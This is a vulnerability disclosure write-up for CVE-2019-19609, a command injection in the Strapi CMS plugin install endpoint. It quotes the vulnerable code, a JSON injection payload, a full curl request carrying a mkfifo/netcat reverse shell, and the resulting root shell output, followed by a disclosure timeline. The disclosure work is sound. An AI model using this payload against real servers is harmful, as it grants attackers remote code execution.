Strapi Framework Vulnerable to Remote Code Execution (CVE-2019-19609)
CVE: CVE-2019-19609
Vendor: Strapi (https://strapi.io)
Product: Strapi Framework
Version Affected: strapi-3.0.0-beta.17.7 and earlier
Fix PR: https://github.com/strapi/strapi/pull/4636
NPM Advisory: https://www.npmjs.com/advisories/1424
Description:
“Manage your content. Distribute it anywhere. The open source Headless CMS Front-End Developers love.”
Recently I came across a cool “headless” CMS called Strapi which makes creating dynamic sites painless. After poking around its code for a bit, I noticed a bit of potentially dangerous code in the plugin installPlugin
and uninstallPlugin
handler functions for the admin panel (packages/strapi-admin/controllers/Admin.js
):
async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;
strapi.log.info(`Installing ${plugin}...`);
await execa('npm', ['run', 'strapi', '--', 'install', plugin]);
ctx.send({ ok: true });
strapi.reload();
} catch (err) {
strapi.log.error(err);
strapi.reload.isWatching = true;
ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }] }]);
}
},
...
async uninstallPlugin(ctx) {
try {
const { plugin } = ctx.params;
if (!/^[A-Za-z0-9_-]+$/.test(plugin)) {
return ctx.badRequest('Invalid plugin name');
}
strapi.reload.isWatching = false;
strapi.log.info(`Uninstalling ${plugin}...`);
await execa('npm', ['run', 'strapi', '--', 'uninstall', plugin, '-d']);
ctx.send({ ok: true });
strapi.reload();
} catch (err) {
strapi.log.error(err);
strapi.reload.isWatching = true;
ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }] }]);
}
},
Both functions pass unsanitized user input ctx.params.plugin
to execa()
which is executed on the system.
We can use command substitution to inject commands and execute arbitrary code alongside the node
call:
{"plugin": "documentation && $(whoami > /tmp/whoami)","port":"1337"}
This payload should create a /tmp/whoami
file on the target system.
To reproduce this issue the app must be using strapi-3.0.0-beta.17.7
or earlier. This is an authenticated RCE, so we would need a valid JWT with access to install and uninstall plugins.
With a valid JWT
, we can issue this curl
command to execute a reverse shell payload on the server:
curl -i -s -k -X $'POST' -H $'Host: localhost:1337' -H $'Authorization: Bearer [jwt]' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f)\",\"port\":\"1337\"}' $'http://localhost:1337/admin/plugins/install'
The strapi server debug log will confirm the input was not sanitized:
[] info Installing documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f)...
[] Error: Command failed: npm run strapi -- install documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f)
The c2 server receives the connection from the reverse shell:
# nc -lvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 47520
# id
uid=0(root) gid=0(root) groups=0(root)
#
To Strapi’s credit, I reported this issue and about 20 minutes later they had a fix ready.
Disclosure timeline
- 2019-12-01 - Issue disclosed to Strapi
- 2019-12-01 - Strapi fixes the issue
- 2019-12-02 - Heads-up to NPM Security
- 2019-12-03 - NPM issues advisory for
npm audit
- 2019-12-03 - Published